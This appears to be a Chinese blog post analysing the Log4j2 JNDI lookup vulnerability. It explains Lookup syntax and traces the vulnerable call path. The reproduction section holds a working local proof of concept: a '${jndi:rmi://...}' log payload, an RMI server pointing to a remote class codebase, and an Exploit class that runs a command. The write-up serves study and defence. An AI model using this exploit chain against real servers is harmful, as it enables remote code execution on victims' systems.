什么是Log4j2?
Log4j2是一个Java日志组件,被各类Java框架广泛地使用。它的前身是Log4j,Log4j2重新构建和设计了框架,可以认为两者是完全独立的两个日志组件。本次漏洞影响范围为Log4j2最早期的版本2.0-beta9到2.15.0。
因为存在前身Log4j,而且都是Apache下的项目,不管是jar包名称还是package名称,看起来都很相似,导致有些人分不清自己用的是Log4j还是Log4j2。这里给出几个辨别方法:
- Log4j2分为2个jar包,一个是接口
log4j-api-${版本号}.jar,一个是具体实现log4j-core-${版本号}.jar。Log4j只有一个jar包log4j-${版本号}.jar。 
- Log4j2的版本号目前均为2.x。Log4j的版本号均为1.x。
 
- Log4j2的package名称前缀为
org.apache.logging.log4j。Log4j的package名称前缀为org.apache.log4j。 
Log4j2 Lookup
Log4j2的Lookup主要功能是通过引用一些变量,往日志中添加动态的值。这些变量可以是外部环境变量,也可以是MDC中的变量,还可以是日志上下文数据等。
下面是一个简单的Java Lookup例子和输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
   | package org.example;
  import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.ThreadContext;
  public class Log4j2Lookup {     public static final Logger LOGGER = LogManager.getLogger(Log4j2Lookup.class);
      public static void main(String[] args) {         ThreadContext.put("userId", "test");         LOGGER.error("userId: ${ctx:userId}");     } }
   | 
 
需要在resources文件夹下添加一个log4j2.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
   | <?xml version="1.0" encoding="UTF-8"?>
  <configuration status="error">     <appenders>         <!--        配置Appenders输出源为Console和输出语句SYSTEM_OUT-->         <Console name="Console" target="SYSTEM_OUT" >             <!--            配置Console的模式布局-->             <PatternLayout pattern="%d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n"/>         </Console>     </appenders>     <loggers>         <root level="error">             <appender-ref ref="Console"/>         </root>     </loggers> </configuration>
   | 
 
输出如下:
1
   | 2023-08-10 15:39:58.959 [main] ERROR org.example.Log4j2Lookup - userId: test
   | 
 
从上面的例子可以看到,通过在日志字符串中加入”${ctx:userId}”,Log4j2在输出日志时,会自动在Log4j2的ThreadContext中查找并引用userId变量。格式类似”${type:var}”,即可以实现对变量var的引用。type可以是如下值:
- ctx:允许程序将数据存储在 Log4j 
ThreadContextMap 中,然后在日志输出过程中,查找其中的值。 
- env:允许系统在全局文件(如 /etc/profile)或应用程序的启动脚本中配置环境变量,然后在日志输出过程中,查找这些变量。例如:
${env:USER}。 
- java:允许查找Java环境配置信息。例如:
${java:version}。 
- jndi:允许通过 JNDI 检索变量。
 
- ……
 
其中和本次漏洞相关的便是jndi,例如:${jndi:rmi//127.0.0.1:1099/a},表示通过JNDI Lookup功能,获取rmi//127.0.0.1:1099/a上的变量内容。
漏洞复现
1 2 3 4 5 6 7 8 9 10 11 12
   | package org.example;
  import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
  public class Log4j2RCEPoc {     public static final Logger LOGGER = LogManager.getLogger(Log4j2RCEPoc.class);
      public static void main(String[] args) {         LOGGER.error("${jndi:rmi://127.0.0.1:1099/exp}");     } }
   | 
 
rmi服务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
   | package org.example;
  import com.sun.jndi.rmi.registry.ReferenceWrapper; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
  public class RMIServer {     public static void main(String args[]) throws Exception {         Registry registry = LocateRegistry.createRegistry(1099);         Reference exploit = new Reference("Exploit", "Exploit", "http://127.0.0.1:8081/");         ReferenceWrapper exploitWrapper = new ReferenceWrapper(exploit);         registry.bind("exp", exploitWrapper);     } } public class Exploit {     static {         String cmd = "calc";         final Process process;         try {             process = Runtime.getRuntime().exec(cmd);             process.waitFor();         } catch (Exception e) {             e.printStackTrace();         }     } }
   | 
 
在Exploit.class目录下开启http服务

漏洞原理
由于是JNDI注入,因此可以通过在InitialContext.lookup(String name)方法上设置断点,观察整个漏洞触发的调用堆栈,来了解原理。调用堆栈如下:

由于比较多,并且前面较为单调,所以我们只分析几个关键的地方
首先由LOGGER.error方法最终会调用到MessagePatternConverter的format方法。

该方法对日志内容进行解析和格式化,并返回最终格式化后的日志内容。当碰到日志内容中包含${子串时,调用StrSubstitutor的replace方法进行进一步解析,跟进

继续调用substitute方法

继续调用一个重载方法,然后到这里

对${}中的内容进行了提取,并赋值给了varName参数,然后调用了resolveVariable方法,跟进

调用了Interpolator的lookup方法

根据前缀,也就是jndi找到相应的lookup类,然后调用其lookup方法,跟进

继续调用jndiManager.lookup方法

调用InitialContext.lookup方法,这之后就和正常的JNDI注入一样了
 Log4j 反序列化分析—CVE-2017-5645
spring内存马 
© 2024 ycxlo
Powered by Hexo & NexT.Muse